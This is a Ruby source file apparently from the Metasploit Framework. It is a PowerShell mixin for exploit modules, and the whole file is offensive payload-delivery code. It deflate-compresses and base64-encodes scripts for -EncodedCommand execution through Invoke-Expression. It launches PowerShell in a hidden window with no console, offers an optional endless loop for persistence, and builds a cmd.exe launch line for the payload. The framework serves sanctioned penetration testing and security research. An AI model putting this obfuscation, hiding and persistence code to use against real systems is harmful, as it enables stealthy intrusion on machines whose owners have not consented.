metasploit-framework/lib/msf/core/exploit/powershell.rb

# -*- coding: binary -*-
require 'zlib'

module Msf
module Exploit::Powershell

	def initialize(info = {})
		super
		register_options(
			[
                        	OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
                        	OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
				OptBool.new('RUN_WOW64', [
					true,
					'Execute powershell in 32bit compatibility mode, payloads need native arch',
					false
						]),
			], self.class)
	end

	#
	# Insert substitutions into the powershell script
	#
	def make_subs(script, subs)
		if ::File.file?(script)
			script = ::File.read(script)
		end

		subs.each do |set|
			script.gsub!(set[0],set[1])
		end
		if datastore['VERBOSE']
			print_good("Final Script: ")
			script.each_line {|l| print_status("\t#{l}")}
		end
		return script
	end

	#
	# Return an array of substitutions for use in make_subs
	#
	def process_subs(subs)
		return [] if subs.nil? or subs.empty?
		new_subs = []
		subs.split(';').each do |set|
			new_subs << set.split(',', 2)
		end
		return new_subs
	end

	#
	# Read in a powershell script stored in +script+
	#
	def read_script(script)
		script_in = ''
		begin
			# Open script file for reading
			fd = ::File.new(script, 'r')
			while (line = fd.gets)
				script_in << line
			end

			# Close open file
			fd.close()
		rescue Errno::ENAMETOOLONG, Errno::ENOENT
			# Treat script as a... script
			script_in = script
		end
		return script_in
	end


	#
	# Return a zlib compressed powershell script
	#
	def compress_script(script_in, eof = nil)

		# Compress using the Deflate algorithm
		compressed_stream = ::Zlib::Deflate.deflate(script_in,
			::Zlib::BEST_COMPRESSION)

		# Base64 encode the compressed file contents
		encoded_stream = Rex::Text.encode_base64(compressed_stream)

		# Build the powershell expression
		# Decode base64 encoded command and create a stream object
		psh_expression =  "$stream = New-Object IO.MemoryStream(,"
		psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));"
		# Read & delete the first two bytes due to incompatibility with MS
		psh_expression << "$stream.ReadByte()|Out-Null;"
		psh_expression << "$stream.ReadByte()|Out-Null;"
		# Uncompress and invoke the expression (execute)
		psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader("
		psh_expression << "$(New-Object IO.Compression.DeflateStream("
		psh_expression << "$stream,"
		psh_expression << "[IO.Compression.CompressionMode]::Decompress)),"
		psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());"

		# If eof is set, add a marker to signify end of script output
		if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end

		# Convert expression to unicode
		unicode_expression = Rex::Text.to_unicode(psh_expression)

		# Base64 encode the unicode expression
		encoded_expression = Rex::Text.encode_base64(unicode_expression)

		return encoded_expression
	end

	#
	# Runs powershell in hidden window raising interactive proc msg
	#
	def run_hidden_psh(ps_code,ps_bin='powershell.exe')
		ps_args = " -EncodedCommand #{ compress_script(ps_code) } "

		ps_wrapper = <<EOS
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = "#{ps_bin}"
$si.Arguments = '#{ps_args}'
$si.UseShellExecute = $false
$si.RedirectStandardOutput = $true
$si.WindowStyle = 'Hidden'
$si.CreateNoWindow = $True
$p = [System.Diagnostics.Process]::Start($si)
EOS

		return ps_wrapper
	end

	#
	# Creates cmd script to execute psh payload
	#
	def cmd_psh_payload(pay, old_psh=datastore['PSH_OLD_METHOD'])
		# Allow powershell 1.0 format
		if old_psh
			psh_payload = Msf::Util::EXE.to_win32pe_psh(framework, pay)
		else
			psh_payload = Msf::Util::EXE.to_win32pe_psh_net(framework, pay)
		end
		# Run our payload in a while loop
		if datastore['PERSIST']
			fun_name = Rex::Text.rand_text_alpha(rand(2)+2)
			sleep_time = rand(5)+5
			psh_payload  = "function #{fun_name}{#{psh_payload}};"
			psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
		end
		# Determine appropriate architecture
		ps_bin = datastore['RUN_WOW64'] ? '$env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
		# Wrap in hidden runtime
		psh_payload = run_hidden_psh(psh_payload,ps_bin)
		# Convert to base64 for -encodedcommand execution
		command = "%COMSPEC% /B /C start powershell.exe -Command \"#{psh_payload.gsub("\n",';').gsub('"','\"')}\"\r\n"
	end

	#
	# Convert binary to byte array, read from file if able
	#
	def build_byte_array(input_data,var_name = Rex::Text.rand_text_alpha(rand(3)+3))
		code = ::File.file?(input_data) ? ::File.read(input_data) : input_data
		code = code.unpack('C*')
		psh = "[Byte[]] $#{var_name} = 0x#{code[0].to_s(16)}"
		lines = []
		1.upto(code.length-1) do |byte|
			if(byte % 10 == 0)
				lines.push "\r\n$#{var_name} += 0x#{code[byte].to_s(16)}"
			else
				lines.push ",0x#{code[byte].to_s(16)}"
			end
		end
		psh << lines.join("") + "\r\n"
	end



end
end